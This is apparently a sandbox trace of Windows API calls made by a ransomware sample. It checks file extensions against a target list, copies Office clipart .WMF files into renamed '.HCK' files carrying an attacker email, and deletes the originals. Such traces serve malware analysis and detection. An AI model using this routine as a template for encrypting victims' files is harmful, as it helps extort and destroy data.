[0243.112] lstrlenW (lpString=".ppt") returned 4 [0243.112] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF") returned 68 [0243.112] lstrlenW (lpString=".zip") returned 4 [0243.112] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.112] lstrlenW (lpString=".rar") returned 4 [0243.112] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.112] lstrlenW (lpString=".bz2") returned 4 [0243.112] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.112] lstrlenW (lpString=".7z") returned 3 [0243.112] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF") returned 68 [0243.112] lstrlenW (lpString=".dbf") returned 4 [0243.112] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF") returned 68 [0243.112] lstrlenW (lpString=".1cd") returned 4 [0243.112] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF") returned 68 [0243.112] lstrlenW (lpString=".jpg") returned 4 [0243.112] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.112] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0243.112] lstrlenW (lpString="J0187863.WMF") returned 12 [0243.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187863.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0243.113] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=10820) returned 1 [0243.113] CloseHandle (hObject=0x558) returned 1 [0243.113] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187863.wmf")) returned 0x220 [0243.113] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187863.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0243.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187863.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0243.114] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.114] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187863.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0243.114] GetLastError () returned 0x0 [0243.114] ReadFile (in: hFile=0x558, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x2a44, lpOverlapped=0x0) returned 1 [0243.116] WriteFile (in: hFile=0x340, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x2a50, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x2a50, lpOverlapped=0x0) returned 1 [0243.117] ReadFile (in: hFile=0x558, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0243.117] WriteFile (in: hFile=0x340, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0243.117] SetEndOfFile (hFile=0x340) returned 1 [0243.117] CloseHandle (hObject=0x340) returned 1 [0243.117] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.117] SetEndOfFile (hFile=0x558) returned 1 [0243.119] CloseHandle (hObject=0x558) returned 1 [0243.119] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0243.120] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187863.wmf")) returned 1 [0243.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF") returned 68 [0243.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF") returned 68 [0243.121] lstrlenW (lpString=".doc") returned 4 [0243.121] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.121] lstrlenW (lpString=".docx") returned 5 [0243.121] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0243.121] lstrlenW (lpString=".pdf") returned 4 [0243.121] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.121] lstrlenW (lpString=".xls") returned 4 [0243.121] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.121] lstrlenW (lpString=".xlsx") returned 5 [0243.121] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0243.121] lstrlenW (lpString=".ppt") returned 4 [0243.121] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF") returned 68 [0243.121] lstrlenW (lpString=".zip") returned 4 [0243.121] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.121] lstrlenW (lpString=".rar") returned 4 [0243.121] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.121] lstrlenW (lpString=".bz2") returned 4 [0243.121] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.121] lstrlenW (lpString=".7z") returned 3 [0243.121] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF") returned 68 [0243.121] lstrlenW (lpString=".dbf") returned 4 [0243.121] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF") returned 68 [0243.121] lstrlenW (lpString=".1cd") returned 4 [0243.121] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF") returned 68 [0243.121] lstrlenW (lpString=".jpg") returned 4 [0243.121] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF") returned 68 [0243.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF") returned 68 [0243.121] lstrlenW (lpString=".doc") returned 4 [0243.121] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.121] lstrlenW (lpString=".docx") returned 5 [0243.121] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0243.121] lstrlenW (lpString=".pdf") returned 4 [0243.121] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.121] lstrlenW (lpString=".xls") returned 4 [0243.121] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.121] lstrlenW (lpString=".xlsx") returned 5 [0243.121] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0243.121] lstrlenW (lpString=".ppt") returned 4 [0243.121] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF") returned 68 [0243.122] lstrlenW (lpString=".zip") returned 4 [0243.122] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.122] lstrlenW (lpString=".rar") returned 4 [0243.122] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.122] lstrlenW (lpString=".bz2") returned 4 [0243.122] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.122] lstrlenW (lpString=".7z") returned 3 [0243.122] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF") returned 68 [0243.122] lstrlenW (lpString=".dbf") returned 4 [0243.122] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF") returned 68 [0243.122] lstrlenW (lpString=".1cd") returned 4 [0243.122] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF") returned 68 [0243.122] lstrlenW (lpString=".jpg") returned 4 [0243.122] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.122] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0243.122] lstrlenW (lpString="J0187881.WMF") returned 12 [0243.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187881.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0243.123] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=4696) returned 1 [0243.123] CloseHandle (hObject=0x558) returned 1 [0243.123] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187881.wmf")) returned 0x220 [0243.123] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187881.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0243.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187881.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0243.123] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.123] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187881.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0243.124] GetLastError () returned 0x0 [0243.124] ReadFile (in: hFile=0x558, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x1258, lpOverlapped=0x0) returned 1 [0243.125] WriteFile (in: hFile=0x340, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x1260, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x1260, lpOverlapped=0x0) returned 1 [0243.126] ReadFile (in: hFile=0x558, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0243.126] WriteFile (in: hFile=0x340, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0243.126] SetEndOfFile (hFile=0x340) returned 1 [0243.126] CloseHandle (hObject=0x340) returned 1 [0243.126] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.126] SetEndOfFile (hFile=0x558) returned 1 [0243.128] CloseHandle (hObject=0x558) returned 1 [0243.128] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0243.129] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187881.wmf")) returned 1 [0243.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF") returned 68 [0243.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF") returned 68 [0243.129] lstrlenW (lpString=".doc") returned 4 [0243.129] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.129] lstrlenW (lpString=".docx") returned 5 [0243.129] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0243.129] lstrlenW (lpString=".pdf") returned 4 [0243.130] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.130] lstrlenW (lpString=".xls") returned 4 [0243.130] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.130] lstrlenW (lpString=".xlsx") returned 5 [0243.130] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0243.130] lstrlenW (lpString=".ppt") returned 4 [0243.130] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF") returned 68 [0243.130] lstrlenW (lpString=".zip") returned 4 [0243.130] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.130] lstrlenW (lpString=".rar") returned 4 [0243.130] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.130] lstrlenW (lpString=".bz2") returned 4 [0243.130] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.130] lstrlenW (lpString=".7z") returned 3 [0243.130] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF") returned 68 [0243.130] lstrlenW (lpString=".dbf") returned 4 [0243.130] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF") returned 68 [0243.130] lstrlenW (lpString=".1cd") returned 4 [0243.130] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF") returned 68 [0243.130] lstrlenW (lpString=".jpg") returned 4 [0243.130] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF") returned 68 [0243.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF") returned 68 [0243.130] lstrlenW (lpString=".doc") returned 4 [0243.130] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.130] lstrlenW (lpString=".docx") returned 5 [0243.130] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0243.130] lstrlenW (lpString=".pdf") returned 4 [0243.130] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.130] lstrlenW (lpString=".xls") returned 4 [0243.130] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.130] lstrlenW (lpString=".xlsx") returned 5 [0243.130] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0243.130] lstrlenW (lpString=".ppt") returned 4 [0243.130] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF") returned 68 [0243.130] lstrlenW (lpString=".zip") returned 4 [0243.130] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.130] lstrlenW (lpString=".rar") returned 4 [0243.130] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.130] lstrlenW (lpString=".bz2") returned 4 [0243.130] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.130] lstrlenW (lpString=".7z") returned 3 [0243.130] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF") returned 68 [0243.130] lstrlenW (lpString=".dbf") returned 4 [0243.130] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF") returned 68 [0243.131] lstrlenW (lpString=".1cd") returned 4 [0243.131] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF") returned 68 [0243.131] lstrlenW (lpString=".jpg") returned 4 [0243.131] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.131] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0243.131] lstrlenW (lpString="J0187883.WMF") returned 12 [0243.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187883.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187883.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0243.131] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=2100) returned 1 [0243.132] CloseHandle (hObject=0x558) returned 1 [0243.132] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187883.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187883.wmf")) returned 0x220 [0243.132] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187883.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187883.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0243.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187883.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187883.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0243.132] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.132] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187883.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187883.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0243.133] GetLastError () returned 0x0 [0243.133] ReadFile (in: hFile=0x558, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x834, lpOverlapped=0x0) returned 1 [0243.134] WriteFile (in: hFile=0x340, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x840, lpOverlapped=0x0) returned 1 [0243.135] ReadFile (in: hFile=0x558, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0243.135] WriteFile (in: hFile=0x340, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0243.135] SetEndOfFile (hFile=0x340) returned 1 [0243.135] CloseHandle (hObject=0x340) returned 1 [0243.135] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.135] SetEndOfFile (hFile=0x558) returned 1 [0243.137] CloseHandle (hObject=0x558) returned 1 [0243.138] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187883.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0243.138] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187883.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187883.wmf")) returned 1 [0243.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187883.WMF") returned 68 [0243.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187883.WMF") returned 68 [0243.139] lstrlenW (lpString=".doc") returned 4 [0243.139] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.139] lstrlenW (lpString=".docx") returned 5 [0243.139] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0243.139] lstrlenW (lpString=".pdf") returned 4 [0243.139] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.139] lstrlenW (lpString=".xls") returned 4 [0243.139] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.139] lstrlenW (lpString=".xlsx") returned 5 [0243.139] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0243.139] lstrlenW (lpString=".ppt") returned 4 [0243.139] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187883.WMF") returned 68 [0243.139] lstrlenW (lpString=".zip") returned 4 [0243.139] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.139] lstrlenW (lpString=".rar") returned 4 [0243.139] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.139] lstrlenW (lpString=".bz2") returned 4 [0243.139] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.139] lstrlenW (lpString=".7z") returned 3 [0243.139] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187883.WMF") returned 68 [0243.139] lstrlenW (lpString=".dbf") returned 4 [0243.139] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187883.WMF") returned 68 [0243.139] lstrlenW (lpString=".1cd") returned 4 [0243.140] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187883.WMF") returned 68 [0243.140] lstrlenW (lpString=".jpg") returned 4 [0243.140] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187883.WMF") returned 68 [0243.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187883.WMF") returned 68 [0243.140] lstrlenW (lpString=".doc") returned 4 [0243.140] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.140] lstrlenW (lpString=".docx") returned 5 [0243.140] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0243.140] lstrlenW (lpString=".pdf") returned 4 [0243.140] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.140] lstrlenW (lpString=".xls") returned 4 [0243.140] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.140] lstrlenW (lpString=".xlsx") returned 5 [0243.140] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0243.140] lstrlenW (lpString=".ppt") returned 4 [0243.140] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187883.WMF") returned 68 [0243.140] lstrlenW (lpString=".zip") returned 4 [0243.140] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.140] lstrlenW (lpString=".rar") returned 4 [0243.140] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.140] lstrlenW (lpString=".bz2") returned 4 [0243.140] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.140] lstrlenW (lpString=".7z") returned 3 [0243.140] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 